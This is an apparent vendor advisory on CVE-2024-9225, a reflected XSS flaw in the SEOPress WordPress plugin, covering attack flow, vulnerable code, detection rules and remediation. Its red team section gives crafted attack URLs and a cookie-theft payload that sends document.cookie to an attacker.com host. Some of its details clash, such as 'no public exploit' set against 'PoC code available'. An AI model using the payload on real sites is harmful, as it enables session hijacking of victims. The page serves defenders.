CVE-2024-9225
Executive Summary
CVE-2024-9225 is a Reflected Cross-Site Scripting (XSS) vulnerability in the SEOPress – On-site SEO plugin for WordPress, affecting all versions up to and including 8.1.1. The vulnerability arises from the insecure use of add_query_arg and remove_query_arg functions without proper escaping on URL parameters. An unauthenticated attacker can inject arbitrary web scripts that execute in the context of a victim's browser if the victim clicks a crafted link. The CVSS score is 6.1 (Medium), with a low EPSS probability of 0.0%, indicating low active exploitation in the wild. No public exploit code or Nuclei template is available, but the vulnerability is straightforward to exploit.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress ecosystem, targeting the SEOPress plugin. Since WordPress plugins are distributed via the official WordPress plugin repository, users should ensure they are using the latest version. No package manager (NPM, PyPI, Go, Ruby) is involved.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a link
- Scope: Changed (S:C) – impact extends beyond the vulnerable component
- Confidentiality Impact: Low (C:L) – limited data exposure
- Integrity Impact: Low (I:L) – limited script injection
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS is moderate, the low EPSS score suggests limited active exploitation. However, the vulnerability is easy to exploit and could be used in targeted phishing campaigns.
Deep Dive & Mechanics
The vulnerability is located in the SEOPress plugin's handling of URL parameters. The plugin uses add_query_arg and remove_query_arg functions to modify URLs without properly escaping the output. When a user clicks a crafted link containing malicious JavaScript in a query parameter, the script is reflected back in the response and executed in the user's browser.
Root Cause: The plugin fails to escape URL parameters before outputting them in the HTML response. This allows an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- Attacker crafts a malicious URL:
https://example.com/wp-admin/admin.php?page=seopress-option&<script>alert('XSS')</script> - Victim clicks the link (e.g., via phishing email).
- The SEOPress plugin processes the request and reflects the malicious parameter in the response without sanitization.
- The victim's browser executes the injected script.
Affected Components:
- SEOPress plugin versions <= 8.1.1
- WordPress admin pages that use
add_query_argorremove_query_argwith user-supplied parameters.
Vulnerable vs. Patched Code
Vulnerable Code (<= 8.1.1):
// Example from SEOPress plugin
$url = add_query_arg( 'page', 'seopress-option', admin_url( 'admin.php' ) );
echo '<a href="' . $url . '">Link</a>';
In this example, if page parameter contains malicious input, it is not escaped.
Patched Code (Hypothetical):
// Properly escape the URL
$url = add_query_arg( 'page', 'seopress-option', admin_url( 'admin.php' ) );
echo '<a href="' . esc_url( $url ) . '">Link</a>';
The esc_url() function ensures the URL is safe for output.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with SEOPress plugin version <= 8.1.1.
- Ability to craft a malicious URL.
Exploit Steps:
- Identify a vulnerable endpoint (e.g.,
wp-admin/admin.php?page=seopress-option). - Craft a payload:
https://target.com/wp-admin/admin.php?page=seopress-option&<script>alert(document.cookie)</script> - Send the link to the victim via phishing or social engineering.
- When the victim clicks, the script executes.
Example Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defender)
Detection:
- Monitor web server logs for requests containing
<script>tags in query parameters. - Use WAF rules to block reflected XSS patterns.
Lab Setup:
- Install WordPress with SEOPress 8.1.1 on a local environment (e.g., XAMPP, Docker).
- Use a browser to test the vulnerability by visiting the crafted URL.
Indicators of Compromise (IOCs)
- URL Patterns: Requests to
wp-admin/admin.php?page=seopress-optioncontaining suspicious query parameters (e.g.,<script>,onerror=,alert(). - Log Entries: HTTP 200 responses with reflected JavaScript in the body.
- Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
Detection Engineering
YARA Rule
rule CVE_2024_9225_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting SEOPress plugin"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-9225"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
$seopress = "seopress-option"
condition:
any of ($xss*) and $seopress
}
Sigma Rule
title: Reflected XSS Attempt Against SEOPress Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts in SEOPress plugin admin pages
author: Valters IT
date: 2024-10-27
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: GET
cs-uri-query|contains:
- "page=seopress-option"
- "<script>"
- "onerror="
- "onload="
condition: selection
falsepositives:
- Legitimate use of script tags in admin pages (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-9225 Reflected XSS in SEOPress"; flow:to_server,established; content:"page=seopress-option"; http_uri; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Plugin: Upgrade SEOPress to version 8.1.2 or later if available. If no patch exists, consider disabling the plugin until a fix is released.
- Web Application Firewall (WAF): Deploy WAF rules to block reflected XSS patterns (e.g.,
<script>,onerror=). - Input Validation: Implement server-side validation and output encoding for all user-supplied data.
Long-term Measures:
- Code Review: Ensure all
add_query_argandremove_query_argcalls useesc_url()or similar escaping functions. - Security Training: Educate developers on secure coding practices to prevent XSS.
- Regular Updates: Keep all WordPress plugins and themes up to date.
Workaround:
- If patching is not possible, restrict access to the SEOPress admin pages via
.htaccessor IP whitelisting.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.